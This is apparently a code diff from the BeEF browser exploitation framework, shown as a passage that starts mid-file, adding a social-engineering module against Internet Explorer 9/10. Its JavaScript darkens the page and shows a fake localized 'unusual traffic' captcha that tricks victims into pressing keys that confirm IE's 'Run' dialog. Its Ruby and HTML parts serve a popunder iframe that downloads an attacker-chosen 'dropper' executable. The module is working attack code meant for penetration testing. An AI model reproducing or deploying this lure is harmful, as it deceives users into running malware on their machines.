captcha_src = "data:image/jpeg;base64,/9j/4AAQSkZJRgABAQEASABIAAD/2wBDABYPERMRDhYTEhMZFxYaITckIR4eIUQwMyg3UEZUU09GTUxYY39sWF54X0xNbpZweIOHjpCOVmqcp5uKpn+Ljon/wAALCAA5ASwBAREA/8QAGgABAAIDAQAAAAAAAAAAAAAAAAQFAgMGAf/EAC4QAAEEAgEDAwMCBwEAAAAAAAABAgMEBRESBjFBEyFRFDJxIiMVFkJSYnKRgf/aAAgBAQAAPwDrgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARr12Kixr5toxy638Ehj2yMR7FRWqm0VD0AAAAAAAAAAAAFVey8lCw5s9GZYE7TR/qTt5Twb6+Xx9iNHx2o9L4culJjJGSN5Me1yfKLsyMHyxx/fI1v5U0W8hWqRJLLInF3bXvsprHVtZiqyKCRz/CKmtlY7qXLNstV0HFir9nHuhvylm9k8oynVesSI1FXwZyVsxhYPqW2vqGN+9i/BlHBLn6j3xXXNa77onpvipGx2SyWOsrjHRtmVi6airr/h0dfJq6NzrNaWBze6Km0IEvUcVe61j3Nkrv7Pb3b+ULyKaOZiPiejmr7oqKZgGmzagqM52JGxt+VPa1mG1GkkEjZGfKKbQAAAAAAAARcm9rcbbVXfbE7evwcfgen4cnQknkmc1+1a1G+PyTMRgcjXtyQzyObVciormP1v40R87TmxtmCKnasOfL/c8zn6ZyMsTZFtLJIvdrl7F9hcWtOi2G0rZXIu/f30c7kJ6kfVPKVE9Jipv4OtqzVLsaSwcJGp2XXYpM7Xu1skzIUYuaomnIiGp+Wylys+v/AA13J6a34JnS+Ls4+KR1nTVk7NTwV/VcEtXIQ5CFqr86MIOrJpLMTHwJ6a+zk8l3matOTFzSvgai8NoutKhQdN0Es1ZJHW5YeK6arXaL29amx2PjZHKs8z14tc49hht+hztZJGvVN/p1pCNislYuy2KL5UV7E/TMxCrbUvZHLrSs2PWhgdycqkl0seD6hbDEvCvMicm79kOqY5r2o5qoqL2VD0AAAAAAAAo8r06y698texJA9++SbVWu/wDCuxuHzOItp9O6OWFyor05aRx0l6y+pX9VleSwqL9kfc4nLXLuSyMdqGnNF6TdIitVfPc63CWb1msrr1b0V/p/yT8DJ079t3GvcSvF5RG+/wD0gwdKU2u52ZJJ372qqutl3Xrw1o0jgjaxqeEQ2jSAxkjZI1Wvajmr4VCOzG0mORza8aKi7RdGGXqvt46WCJdOcnscZFg8wn7TWOaxV9/f2LC1W+nyFSG/I5a8bNK7xsmWEwrNMja6zI7sxjlUyderYmJ0MFNyWXpvhG3evypGwUGXiSeVIGsdKu+UndVNv8sy3LP1OStc3r3axDo4IWQQtijTTWppDMAAAAAAAAAAAAAAAGuevDYZwmja9vwqGMFStWT9iBkf+qGzgzly4pv50ZAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//9k=";
break;
case "it":
lang = "it";
captcha_message = "<h2>I nostri sistemi hanno rilevato traffico inusuale proveniente dal tuo computer.</h2><br><h3> Per continuare, risolvi il seguente Captcha <b>dopo aver premuto il tasto [TAB]</b>:</h3>";
tab_message = "Devi prima premere il tasto [TAB], poi risolvere il Captcha.";
captcha_src = "data:image/jpeg;base64,/9j/4AAQSkZJRgABAQEASABIAAD/2wBDABYPERMRDhYTEhMZFxYaITckIR4eIUQwMyg3UEZUU09GTUxYY39sWF54X0xNbpZweIOHjpCOVmqcp5uKpn+Ljon/wAALCAA5ASwBAREA/8QAGgABAAMBAQEAAAAAAAAAAAAAAAMEBQIBBv/EADAQAAEEAgAEBQIFBQEAAAAAAAABAgMEBREGEhMhIjEyQVEVcRRCUmGRIzNygbHh/9oACAEBAAA/APrgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAZ1/M06M7YJFc6VfysbtUJoMlVnc1rZOVzvJr05VX+S2ARyzxRJuSRrfupHDeqzqqRTMe5PZF7mYnEUS5BlV1aVnO7l5nJpBlbuWrSPfXrxvgZ35lXupdxuQ+oY9LEbU6mu7d+5Rk4iZVldFfrSQPTy90cd1eJKM/q54k/U5vb+TWjljkjSRj0cxfdFOmua70uRfsp6AAAAAAAAAAAD5WJ15vEtrUMDp3RtVEf22iInkpLnLVmWk6ObFzNkTuyRjkcjVT32hAzI37ENOm6dKr3xq6SV/ZdIqohesMq16jl+sSdVE2jlm33+xVpZ2w7ETSyKjnsdyNevbf7ndCSnGnVk6l2y7uumqqJ+xGlG1bzMVlldtRiLtUVe7k+x1xLPHFkqTV01WrzK49zHEUa13QU2rM9W6VyJ2QqcKZKOs2SGdHorl2nh7HHEeRqXLlbpuR7GO8e2mtemxq4R6MWJGqzwp77IuDZurjXxOXfK5eyr7EeUh/AZOslKZ7HSv8TN7Q1MrNkK0aTVum5jW7cjjvC5F2RqdZ8fIqLpfgiuZ+nVn6CK6WT9MabKbuKq8cyRy15Wb/AFIT5fMLDFHFRb1LMyba1PZPkxbbs9j4Uu2LOvFrp7PqsZZdboRTvbyue3aoWgAAAAAAACnex8dtWybWOeP+3K1dK3/wz5mcRORImPqonksqea/6IMji5o71a+sP41GsRk7NJt3b1IhxNfwqR8tXHNmsL2SJIdKi/v2LF3FT3sPExGRwTtXn6bU037HcMuYZGldlCFjkTXU5/CW6GOdBIs9mZZ7DvdfJPshPbx9W4qLYha9U8lU9hpVYG8sUDGovwhI2vCz0xMT7IROx9N67dXjVf8StdwdG41EfHy6TScvbRHicHFi5nvile5HflXyMfIPsUs++3NXfOzXgRE8infz9zIyJT5Urseunb8zUzE30jCw1qrkRZO3Mn/Szg6VGjTbZfLG+R6bdI5TOkTG3shPa5JZmRNVyuX09iviM1TgtSzzxPdM9dN5U3pPhDSsQ2+IJmc8Tq1Ni78fqcfRRRtiibGxNNamkOgAAAAAAAAAeI1qLtGpv50egAAAHioi+aIpRs4ahal6s1dqv+U7HGTw1bIwMiftnJ6Vb7FKtwpUid/Vmlmank1V0hsx1K8UHQZCxsfu1E7KRw46lA7mirRtd8o0tAAAAAAAAAAAAAAAAAAAAAAAAAAAAH//Z";
break;
default:
// defaults to english
lang = "en";
captcha_message = "<h2>Our systems have detected unusual traffic from your computer network.</h2><br><h3> In order to continue, please solve the following Captcha after pressing the [TAB] key:</h3>";
tab_message = "You must press the [TAB] key first, then solve the Captcha.";
captcha_src = "data:image/jpeg;base64,/9j/4AAQSkZJRgABAQEASABIAAD/2wBDABYPERMRDhYTEhMZFxYaITckIR4eIUQwMyg3UEZUU09GTUxYY39sWF54X0xNbpZweIOHjpCOVmqcp5uKpn+Ljon/wAALCAA5ASwBAREA/8QAGgABAAIDAQAAAAAAAAAAAAAAAAQFAgMGAf/EAC4QAAEEAgEDAwMCBwEAAAAAAAABAgMEBRESBjFBEyFRFDJxIiMVFkJSYnKRgf/aAAgBAQAAPwDrgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARr12Kixr5toxy638Ehj2yMR7FRWqm0VD0AAAAAAAAAAAAFVey8lCw5s9GZYE7TR/qTt5Twb6+Xx9iNHx2o9L4culJjJGSN5Me1yfKLsyMHyxx/fI1v5U0W8hWqRJLLInF3bXvsprHVtZiqyKCRz/CKmtlY7qXLNstV0HFir9nHuhvylm9k8oynVesSI1FXwZyVsxhYPqW2vqGN+9i/BlHBLn6j3xXXNa77onpvipGx2SyWOsrjHRtmVi6airr/h0dfJq6NzrNaWBze6Km0IEvUcVe61j3Nkrv7Pb3b+ULyKaOZiPiejmr7oqKZgGmzagqM52JGxt+VPa1mG1GkkEjZGfKKbQAAAAAAAARcm9rcbbVXfbE7evwcfgen4cnQknkmc1+1a1G+PyTMRgcjXtyQzyObVciormP1v40R87TmxtmCKnasOfL/c8zn6ZyMsTZFtLJIvdrl7F9hcWtOi2G0rZXIu/f30c7kJ6kfVPKVE9Jipv4OtqzVLsaSwcJGp2XXYpM7Xu1skzIUYuaomnIiGp+Wylys+v/AA13J6a34JnS+Ls4+KR1nTVk7NTwV/VcEtXIQ5CFqr86MIOrJpLMTHwJ6a+zk8l3matOTFzSvgai8NoutKhQdN0Es1ZJHW5YeK6arXaL29amx2PjZHKs8z14tc49hht+hztZJGvVN/p1pCNislYuy2KL5UV7E/TMxCrbUvZHLrSs2PWhgdycqkl0seD6hbDEvCvMicm79kOqY5r2o5qoqL2VD0AAAAAAAAo8r06y698texJA9++SbVWu/wDCuxuHzOItp9O6OWFyor05aRx0l6y+pX9VleSwqL9kfc4nLXLuSyMdqGnNF6TdIitVfPc63CWb1msrr1b0V/p/yT8DJ079t3GvcSvF5RG+/wD0gwdKU2u52ZJJ372qqutl3Xrw1o0jgjaxqeEQ2jSAxkjZI1Wvajmr4VCOzG0mORza8aKi7RdGGXqvt46WCJdOcnscZFg8wn7TWOaxV9/f2LC1W+nyFSG/I5a8bNK7xsmWEwrNMja6zI7sxjlUyderYmJ0MFNyWXpvhG3evypGwUGXiSeVIGsdKu+UndVNv8sy3LP1OStc3r3axDo4IWQQtijTTWppDMAAAAAAAAAAAAAAAGuevDYZwmja9vwqGMFStWT9iBkf+qGzgzly4pv50ZAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//9k=";
break;
}
var grayOut = function(vis, options) {
var options = options || {};
var zindex = options.zindex || 50;
var opacity = options.opacity || 70;
var opaque = (opacity / 100);
var bgcolor = options.bgcolor || '#000000';
var dark=document.getElementById('darkenScreenObject');
if (!dark) {
var tbody = document.getElementsByTagName("body")[0];
var tnode = document.createElement('div');
tnode.style.position='absolute';
tnode.style.top='0px';
tnode.style.left='0px';
tnode.style.overflow='hidden';
tnode.style.display='none';
tnode.id='darkenScreenObject';
tbody.appendChild(tnode);
dark=document.getElementById('darkenScreenObject');
}
if (vis) {
var pageWidth='100%';
var pageHeight='100%';
dark.style.opacity=opaque;
dark.style.MozOpacity=opaque;
dark.style.filter='alpha(opacity='+opacity+')';
dark.style.zIndex=zindex;
dark.style.backgroundColor=bgcolor;
dark.style.width= pageWidth;
dark.style.height= pageHeight;
dark.style.display='block';
} else {
dark.style.display='none';
}
};
function spawnPopunder(){
var url = beef.net.httpproto + '://' + beef.net.host + ':' + beef.net.port + '/underpop.html'
var pu = window.open(url,'','top=0, left=0,width=500,height=500');
pu.blur();
}
// The keypress focus is on the popunder, but the following would be nice to have to force the victim to press TAB
// var tab_pressed = false;
// function checkTabPressed(){
// console.log(event.keyCode);
// if(tab_pressed && event.keyCode != 9){
// // all good
// }else if(event.keyCode == 9){
// tab_pressed = true;
// }else{
// alert(tab_message);
// }
// }
if(beef.browser.isIE9() || beef.browser.isIE10()){
document.body.onclick = function(){
spawnPopunder();
grayOut(true,{'opacity':'70'});
var fake_captcha = document.createElement('div');
fake_captcha.setAttribute('id', 'popup');
fake_captcha.setAttribute('style', 'width:400px;position:absolute; top:20%; left:40%; z-index:51; background-color:white;font-family:\'Arial\',Arial,sans-serif;border-width:thin;border-style:solid;border-color:#000000');
fake_captcha.setAttribute('align', 'center');
// using onkeydown because onkeypress is not capturing TAB in IE
//fake_captcha.onkeydown = function(){checkTabPressed();};
document.body.appendChild(fake_captcha);
fake_captcha.innerHTML= '<br>' + captcha_message + '<table border=\'0\'><tr><td><img src="' + blink_src + '"></td><tr><td><img src="' + captcha_src + '"></td></tr></table>';
};
}else{
// unsupported IE version
}
}
});

View File

@@ -0,0 +1,16 @@
#
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
ui_abuse_ie:
enable: true
category: "Social Engineering"
name: "User Interface Abuse (IE 9/10)"
description: "This module is based on Rosario Valotta research (https://sites.google.com/site/tentacoloviola/).<br> The executable to be run needs to be signed (best thing is signing it with Symantec EV-SSL) and me served same-origin from BeEF. You can mount an exe in BeEF as per extensions/social_engineering/droppers/readme.txt.<br> The victim is tricked to press [TAB]+R (IE 9) or simply R (IE 10), which are keyboard shortcuts for the modeless dialog option 'Run'. Depending on the browser language, the modeless dialog shortcuts are different. For example, R for English, E for Italian. In order to achieve such behavior, a fake captcha is displayed."
authors: ["Rosario Valotta", "antisnatchor"]
target:
working: ["IE"]
not_working: ["ALL"]

View File

@@ -0,0 +1,43 @@
#
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
################################################################################
# Based on the PoC by Rosario Valotta
# Ported to BeEF by antisnatchor
# For more information see: https://sites.google.com/site/tentacoloviola/
################################################################################
class Ui_abuse_ie < BeEF::Core::Command
def self.options
return [
{'name' => 'exe_url', 'ui_label' => 'Executable URL (MUST be signed)', 'value' => 'http://beef_server:beef_port/yourdropper.exe'}
]
end
def pre_send
begin
@datastore.each do |input|
if input['name'] == "exe_url"
@exe_url = input['value']
end
end
popunder = File.read("#{$root_dir}/modules/social_engineering/ui_abuse_ie/popunder.html")
body = popunder.gsub("__URL_PLACEHOLDER__", @exe_url)
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind_raw('200', {'Content-Type'=>'text/html'}, body, "/underpop.html", -1)
rescue Exception => e
print_error "Something went wrong executing Ui_abuse_ie::pre_send, exception: #{e.message}"
end
end
def post_execute
content = {}
content['results'] = @datastore['results']
save content
end
end

View File

@@ -0,0 +1,13 @@
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />
</head>
<body style="height: 1000px" >
<iframe id="xu" width="100" height="100"></iframe>
<script type="text/javascript">
document.getElementById("xu").src="__URL_PLACEHOLDER__";
</script>
</body>
</html>

Binary file not shown.

After

Width:  |  Height:  |  Size: 948 B

Some files were not shown because too many files have changed in this diff Show More